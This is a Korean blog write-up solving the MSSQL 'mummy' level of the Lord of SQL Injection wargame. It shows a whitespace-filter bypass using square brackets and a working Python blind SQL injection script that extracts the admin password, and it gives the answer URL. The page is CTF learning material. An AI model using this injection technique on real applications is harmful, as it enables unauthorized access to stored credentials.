이번에는 미라다. 수많은 용들과 전설 속의 네스호의 괴물까지 무찌르고 만난 것이 고작 미라라는 게 조금 김 빠지는 이야기이다. 코드를 만나보자
코드
mssql 기반의 문제이다. query로 받아오는 파라미터에 대해서 master, sys, information등 메타 테이블의 접근을 필터링하고 있다. 그 후 가져온 query를 길이에 맞게 반복 순회를 하면서 query에서 ord값이 32 이하인 문자가 발견되면 exit을 사용한다. 그 후 파라미터로 날아온 query에 대해서 직접 $result를 받아와서 결과적으로는 정확한 pw를 요구하고 있다.
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0c3cc245
해결해야할 문제는 자명하다.
공백으로 인식할 수 있는 문자를 써야 한다.
다행히도, mssql은 문법적인 최소 단위를 구분할 여러 가지 다른 방법을 가지고 있다. 일전의 문제에서 보았던 /**/나 ()도 가능하지만 이는 이번 문제에서 필터링되어있다. 따라서 이번에 필터링을 뚫고 우리가 사용할 문자열은 대괄호[]이다.
try : ?query=[pw]from[prob_mummy]
굿, 대괄호를 사용하는 방법은 알았으니 남은 것은 Blind sql injection이다.
import string
from requests import get
if __name__=="__main__" :
url = "### MUMMY URL ###"
cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
letters = string.digits + string.ascii_letters
password = ''
print("### START BLIND SQL INJECTION ###")
while(True) :
find_flag = False
for a in letters :
param = "?query=[pw]from[prob_mummy]where[id]='admin'and[pw]<'"+password+a+"'"
new_url = url+param
req = get(new_url,cookies=cookie)
index = letters.index(a)
if (req.text.find("Hello anonymous")<200 and req.text.find("Hello anonymous")!=-1) :
find_flag = True
break
if(find_flag) :
password += letters[index-1]
else :
break
print("="*25)
print("find password : "+password)
출력 결과는 다음과 같다.
### START BLIND SQL INJECTION ###
=========================
find password : 0c3cc245
이지하다
이제 몬스터는 4마리밖에 남지 않았다. 힘내서 빠르게 마무리 지아보자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection 일시정지 (2) | 2021.04.30 |
---|---|
[LOSI] Lord of SQL Injection Level 45 - Kraken (0) | 2021.04.28 |
[LOSI] Lord of SQL Injection Level 43 - Yeti (0) | 2021.04.28 |
[LOSI] Lord of SQL Injection Level 42 - Revenant (0) | 2021.04.25 |
[LOSI] Lord of SQL Injection Level 41 - Nessie (0) | 2021.04.25 |